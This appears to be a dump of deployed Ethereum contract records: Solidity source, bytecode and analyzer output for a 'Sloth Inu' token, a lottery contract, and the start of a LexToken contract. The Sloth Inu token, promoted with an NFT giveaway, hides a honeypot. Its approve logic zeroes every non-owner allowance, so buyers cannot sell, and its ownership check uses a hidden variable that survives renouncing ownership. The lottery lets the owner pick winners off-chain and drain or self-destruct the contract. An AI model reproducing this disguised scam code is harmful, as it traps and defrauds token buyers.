📌 First 250 holders will be entered in a giveaway containing 25 RARE NFT’s. A gift to our early holders.
🖥 Website: https://slothinu.com
🐣 Twitter: https://Twitter.com/slothinu
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract SlothInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 10* 10**12* 10**18;
string private _name = 'Sloth Inu';
string private _symbol = 'SLOTH';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206191105f24f34f6ac95f3e995a709fa2894b8715d389ca7612b76cb4006296c564736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 10,311 |
0xf37aa5f945688488056f32112267570517bbc303 | pragma solidity 0.4.24;
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract SafeMath {
function multiplication(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function division(uint a, uint b) internal pure returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function subtraction(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function addition(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
contract LottoEvents {
event BuyTicket(uint indexed _gameIndex, address indexed from, bytes numbers, uint _prizePool, uint _bonusPool);
event LockRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex);
event DrawRound(uint indexed _gameIndex, uint _state, uint indexed _blockIndex, string _blockHash, uint[] _winNumbers);
event EndRound(uint indexed _gameIndex, uint _state, uint _jackpot, uint _bonusAvg, address[] _jackpotWinners, address[] _goldKeyWinners, bool _autoStartNext);
event NewRound(uint indexed _gameIndex, uint _state, uint _initPrizeIn);
event DumpPrize(uint indexed _gameIndex, uint _jackpot);
event Transfer(uint indexed _gameIndex, uint value);
event Activated(uint indexed _gameIndex);
event Deactivated(uint indexed _gameIndex);
event SelfDestroy(uint indexed _gameIndex);
}
library LottoModels {
// data struct hold each ticket info
struct Ticket {
uint rId; // round identity
address player; // the buyer
uint btime; // buy time
uint[] numbers; // buy numbers, idx 0,1,2,3,4 are red balls, idx 5 are blue balls
bool joinBonus; // join bonus ?
bool useGoldKey; // use gold key ?
}
// if round ended, each state is freeze, just for view
struct Round {
uint rId; // current id
uint stime; // start time
uint etime; // end time
uint8 state; // 0: live, 1: locked, 2: drawed, 7: ended
uint[] winNumbers; // idx 0,1,2,3,4 are red balls, idx 5 are blue balls
address[] winners; // the winner's addresses
uint ethIn; // how much eth in this Round
uint prizePool; // how much eth in prize pool, 40% of ethIn add init prize in
uint bonusPool; // how much eth in bonus pool, 40% of ethIn
uint teamFee; // how much eth to team, 20% of ethIn
uint btcBlockNoWhenLock; // the btc block no when lock this round
uint btcBlockNo; // use for get win numbers, must higer than btcBlockNoWhenLock;
string btcBlockHash; // use for get win numbers
uint bonusAvg; // average bouns price for players
uint jackpot; // the jackpot to pay
uint genGoldKeys; // how many gold key gens
}
}
contract Lottery is Owned, SafeMath, LottoEvents {
string constant version = "1.0.1";
uint constant private GOLD_KEY_CAP = 1500 ether;
uint constant private BUY_LIMIT_CAP = 100;
uint8 constant private ROUND_STATE_LIVE = 0;
uint8 constant private ROUND_STATE_LOCKED = 1;
uint8 constant private ROUND_STATE_DRAWED = 2;
uint8 constant private ROUND_STATE_ENDED = 7;
mapping (uint => LottoModels.Round) public rounds; // all rounds, rid -> round
mapping (uint => LottoModels.Ticket[]) public tickets; // all tickets, rid -> ticket array
mapping (address => uint) public goldKeyRepo; // all gold key repo, keeper address -> key count
address[] private goldKeyKeepers; // all gold key keepers, just for clear mapping?!
uint public goldKeyCounter = 0; // count for gold keys
uint public unIssuedGoldKeys = 0; // un issued gold keys
uint public price = 0.01 ether; // the price for each bet
bool public activated = false; // contract live?
uint public rId; // current round id
constructor() public {
rId = 0;
activated = true;
internalNewRound(0, 0); // init with prize 0, bonus 0
}
// buy ticket
// WARNING!!!solidity only allow 16 local variables
function()
isHuman()
isActivated()
public
payable {
require(owner != msg.sender, "owner cannot buy.");
require(address(this) != msg.sender, "contract cannot buy.");
require(rounds[rId].state == ROUND_STATE_LIVE, "this round not start yet, please wait.");
// data format check
require(msg.data.length > 9, "data struct not valid");
require(msg.data.length % 9 == 1, "data struct not valid");
// price check
require(uint(msg.data[0]) < BUY_LIMIT_CAP, "out of buy limit one time.");
require(msg.value == uint(msg.data[0]) * price, "price not right, please check.");
uint i = 1;
while(i < msg.data.length) {
// fill data
// [0]: how many
// [1]: how many gold key use?
// [2]: join bonus?
// [3-7]: red balls, [8]: blue ball
uint _times = uint(msg.data[i++]);
uint _goldKeys = uint(msg.data[i++]);
bool _joinBonus = uint(msg.data[i++]) > 0;
uint[] memory _numbers = new uint[](6);
for(uint j = 0; j < 6; j++) {
_numbers[j] = uint(msg.data[i++]);
}
// every ticket
for (uint k = 0; k < _times; k++) {
bool _useGoldKey = false;
if (_goldKeys > 0 && goldKeyRepo[msg.sender] > 0) { // can use gold key?
_goldKeys--; // reduce you keys you want
goldKeyRepo[msg.sender]--; // reduce you keys in repo
_useGoldKey = true;
}
tickets[rId].push(LottoModels.Ticket(rId, msg.sender, now, _numbers, _joinBonus, _useGoldKey));
}
}
// update round data
rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value);
uint _amount = msg.value * 4 / 10;
rounds[rId].prizePool = addition(rounds[rId].prizePool, _amount); // 40% for prize
rounds[rId].bonusPool = addition(rounds[rId].bonusPool, _amount); // 40% for bonus
rounds[rId].teamFee = addition(rounds[rId].teamFee, division(_amount, 2)); // 20% for team
// check gen gold key?
internalIncreaseGoldKeyCounter(_amount);
emit BuyTicket(rId, msg.sender, msg.data, rounds[rId].prizePool, rounds[rId].bonusPool);
}
// core logic
//
// 1. lock the round, can't buy this round
// 2. on-chain calc win numbuers
// 3. off-chain calc jackpot, jackpot winners, goldkey winners, average bonus, blue number hits not share bonus.
// if compute on-chain, out of gas
// 4. end this round
// 1. lock the round, can't buy this round
function lockRound(uint btcBlockNo)
isActivated()
onlyOwner()
public {
require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet, no need lock");
rounds[rId].btcBlockNoWhenLock = btcBlockNo;
rounds[rId].state = ROUND_STATE_LOCKED;
emit LockRound(rId, ROUND_STATE_LOCKED, btcBlockNo);
}
// 2. on-chain calc win numbuers
function drawRound(
uint btcBlockNo,
string btcBlockHash
)
isActivated()
onlyOwner()
public {
require(rounds[rId].state == ROUND_STATE_LOCKED, "this round not locked yet, please lock it first");
require(rounds[rId].btcBlockNoWhenLock < btcBlockNo, "the btc block no should higher than the btc block no when lock this round");
// calculate winner
rounds[rId].winNumbers = calcWinNumbers(btcBlockHash);
rounds[rId].btcBlockHash = btcBlockHash;
rounds[rId].btcBlockNo = btcBlockNo;
rounds[rId].state = ROUND_STATE_DRAWED;
emit DrawRound(rId, ROUND_STATE_DRAWED, btcBlockNo, btcBlockHash, rounds[rId].winNumbers);
}
// 3. off-chain calc
// 4. end this round
function endRound(
uint jackpot,
uint bonusAvg,
address[] jackpotWinners,
address[] goldKeyWinners,
bool autoStartNext
)
isActivated()
onlyOwner()
public {
require(rounds[rId].state == ROUND_STATE_DRAWED, "this round not drawed yet, please draw it first");
// end this round
rounds[rId].state = ROUND_STATE_ENDED;
rounds[rId].etime = now;
rounds[rId].jackpot = jackpot;
rounds[rId].bonusAvg = bonusAvg;
rounds[rId].winners = jackpotWinners;
// if jackpot is this contract addr or owner addr, delete it
// if have winners, all keys will gone.
if (jackpotWinners.length > 0 && jackpot > 0) {
unIssuedGoldKeys = 0; // clear un issued gold keys
// clear players gold key
// no direct delete mapping in solidity
// we give an array to store gold key keepers
// clearing mapping from key keepers
// delete keepers
for (uint i = 0; i < goldKeyKeepers.length; i++) {
goldKeyRepo[goldKeyKeepers[i]] = 0;
}
delete goldKeyKeepers;
} else {
// else reward gold keys
if (unIssuedGoldKeys > 0) {
for (uint k = 0; k < goldKeyWinners.length; k++) {
// update repo
address _winner = goldKeyWinners[k];
// except this address
if (_winner == address(this)) {
continue;
}
goldKeyRepo[_winner]++;
// update keepers
bool _hasKeeper = false;
for (uint j = 0; j < goldKeyKeepers.length; j++) {
if (goldKeyKeepers[j] == _winner) {
_hasKeeper = true;
break;
}
}
if (!_hasKeeper) { // no keeper? push it in.
goldKeyKeepers.push(_winner);
}
unIssuedGoldKeys--;
if (unIssuedGoldKeys <= 0) { // no more gold keys, let's break;
break;
}
}
}
// move this round gen gold key to un issued gold keys
unIssuedGoldKeys = addition(unIssuedGoldKeys, rounds[rId].genGoldKeys);
}
emit EndRound(rId, ROUND_STATE_ENDED, jackpot, bonusAvg, jackpotWinners, goldKeyWinners, autoStartNext);
// round ended
// start next?
if (autoStartNext) {
newRound();
}
}
function newRound()
isActivated()
onlyOwner()
public {
// check this round is ended?
require(rounds[rId].state == ROUND_STATE_ENDED, "this round not ended yet, please end it first");
// lets start next round
// calculate prize to move, (prize pool - jackpot to pay)
uint _initPrizeIn = subtraction(rounds[rId].prizePool, rounds[rId].jackpot);
// move bonus pool, if no one share bonus(maybe)
uint _initBonusIn = rounds[rId].bonusPool;
if (rounds[rId].bonusAvg > 0) { // if someone share bonus, bonusAvg > 0, move 0
_initBonusIn = 0;
}
// move to new round
internalNewRound(_initPrizeIn, _initBonusIn);
emit NewRound(rId, ROUND_STATE_LIVE, _initPrizeIn);
}
function internalNewRound(uint _initPrizeIn, uint _initBonusIn) internal {
rId++;
rounds[rId].rId = rId;
rounds[rId].stime = now;
rounds[rId].state = ROUND_STATE_LIVE;
rounds[rId].prizePool = _initPrizeIn;
rounds[rId].bonusPool = _initBonusIn;
}
function internalIncreaseGoldKeyCounter(uint _amount) internal {
goldKeyCounter = addition(goldKeyCounter, _amount);
if (goldKeyCounter >= GOLD_KEY_CAP) {
rounds[rId].genGoldKeys = addition(rounds[rId].genGoldKeys, 1);
goldKeyCounter = subtraction(goldKeyCounter, GOLD_KEY_CAP);
}
}
// utils
function calcWinNumbers(string blockHash)
public
pure
returns (uint[]) {
bytes32 random = keccak256(bytes(blockHash));
uint[] memory allRedNumbers = new uint[](40);
uint[] memory allBlueNumbers = new uint[](10);
uint[] memory winNumbers = new uint[](6);
for (uint i = 0; i < 40; i++) {
allRedNumbers[i] = i + 1;
if(i < 10) {
allBlueNumbers[i] = i;
}
}
for (i = 0; i < 5; i++) {
uint n = 40 - i;
uint r = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % (n + 1);
winNumbers[i] = allRedNumbers[r];
allRedNumbers[r] = allRedNumbers[n - 1];
}
uint t = (uint(random[i * 4]) + (uint(random[i * 4 + 1]) << 8) + (uint(random[i * 4 + 2]) << 16) + (uint(random[i * 4 + 3]) << 24)) % 10;
winNumbers[5] = allBlueNumbers[t];
return winNumbers;
}
// for views
function getKeys() public view returns(uint) {
return goldKeyRepo[msg.sender];
}
function getRoundByRId(uint _rId)
public
view
returns (uint[] res){
if(_rId > rId) return res;
res = new uint[](18);
uint k;
res[k++] = _rId;
res[k++] = uint(rounds[_rId].state);
res[k++] = rounds[_rId].ethIn;
res[k++] = rounds[_rId].prizePool;
res[k++] = rounds[_rId].bonusPool;
res[k++] = rounds[_rId].teamFee;
if (rounds[_rId].winNumbers.length == 0) {
for (uint j = 0; j < 6; j++)
res[k++] = 0;
} else {
for (j = 0; j < 6; j++)
res[k++] = rounds[_rId].winNumbers[j];
}
res[k++] = rounds[_rId].bonusAvg;
res[k++] = rounds[_rId].jackpot;
res[k++] = rounds[_rId].genGoldKeys;
res[k++] = rounds[_rId].btcBlockNo;
res[k++] = rounds[_rId].stime;
res[k++] = rounds[_rId].etime;
}
// --- danger ops ---
// angel send luck for players
function dumpPrize()
isActivated()
onlyOwner()
public
payable {
require(rounds[rId].state == ROUND_STATE_LIVE, "this round not live yet.");
rounds[rId].ethIn = addition(rounds[rId].ethIn, msg.value);
rounds[rId].prizePool = addition(rounds[rId].prizePool, msg.value);
// check gen gold key?
internalIncreaseGoldKeyCounter(msg.value);
emit DumpPrize(rId, msg.value);
}
function activate() public onlyOwner {
activated = true;
emit Activated(rId);
}
function deactivate() public onlyOwner {
activated = false;
emit Deactivated(rId);
}
function selfDestroy() public onlyOwner {
selfdestruct(msg.sender);
emit SelfDestroy(rId);
}
function transferToOwner(uint amount) public payable onlyOwner {
msg.sender.transfer(amount);
emit Transfer(rId, amount);
}
// --- danger ops end ---
// modifiers
modifier isActivated() {
require(activated == true, "its not ready yet.");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
} | 0x | {"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 10,312 |
0x0c51f8c2fdc8b376e06019deea264c7582ecee01 | /*
██╗ ███████╗██╗ ██╗
██║ ██╔════╝╚██╗██╔╝
██║ █████╗ ╚███╔╝
██║ ██╔══╝ ██╔██╗
███████╗███████╗██╔╝ ██╗
╚══════╝╚══════╝╚═╝ ╚═╝
████████╗ ██████╗ ██╗ ██╗███████╗███╗ ██╗
╚══██╔══╝██╔═══██╗██║ ██╔╝██╔════╝████╗ ██║
██║ ██║ ██║█████╔╝ █████╗ ██╔██╗ ██║
██║ ██║ ██║██╔═██╗ ██╔══╝ ██║╚██╗██║
██║ ╚██████╔╝██║ ██╗███████╗██║ ╚████║
╚═╝ ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═══╝
DEAR MSG.SENDER(S):
/ LexToken is a project in beta.
// Please audit and use at your own risk.
/// Entry into LexToken shall not create an attorney/client relationship.
//// Likewise, LexToken should not be construed as legal advice or replacement for professional counsel.
///// STEAL THIS C0D3SL4W
////// presented by LexDAO LLC
*/
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.7.4;
interface IERC20 { // brief interface for erc20 token
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
}
library SafeMath { // arithmetic wrapper for unit under/overflow check
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
}
contract LexToken {
using SafeMath for uint256;
address payable public manager; // account managing token rules & sale - see 'Manager Functions' - updateable by manager
uint8 public decimals; // fixed unit scaling factor - default 18 to match ETH
uint256 public saleRate; // rate of token purchase when sending ETH to contract - e.g., 10 saleRate returns 10 token per 1 ETH - updateable by manager
uint256 public totalSupply; // tracks outstanding token mint - mint updateable by manager
uint256 public totalSupplyCap; // maximum of token mintable
bytes32 public DOMAIN_SEPARATOR; // eip-2612 permit() pattern - hash identifies contract
bytes32 constant public PERMIT_TYPEHASH = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); // eip-2612 permit() pattern - hash identifies function for signature
string public details; // details token offering, redemption, etc. - updateable by manager
string public name; // fixed token name
string public symbol; // fixed token symbol
bool public forSale; // status of token sale - e.g., if `false`, ETH sent to token address will not return token per saleRate - updateable by manager
bool private initialized; // internally tracks token deployment under eip-1167 proxy pattern
bool public transferable; // transferability of token - does not affect token sale - updateable by manager
event Approval(address indexed owner, address indexed spender, uint256 value);
event Redeem(string details);
event Transfer(address indexed from, address indexed to, uint256 value);
event UpdateGovernance(address indexed manager, string details);
event UpdateSale(uint256 saleRate, uint256 saleSupply, bool burnToken, bool forSale);
event UpdateTransferability(bool transferable);
mapping(address => mapping(address => uint256)) public allowances;
mapping(address => uint256) public balanceOf;
mapping(address => uint256) public nonces;
modifier onlyManager {
require(msg.sender == manager, "!manager");
_;
}
function init(
address payable _manager,
uint8 _decimals,
uint256 _managerSupply,
uint256 _saleRate,
uint256 _saleSupply,
uint256 _totalSupplyCap,
string calldata _details,
string calldata _name,
string calldata _symbol,
bool _forSale,
bool _transferable
) external {
require(!initialized, "initialized");
manager = _manager;
decimals = _decimals;
saleRate = _saleRate;
totalSupplyCap = _totalSupplyCap;
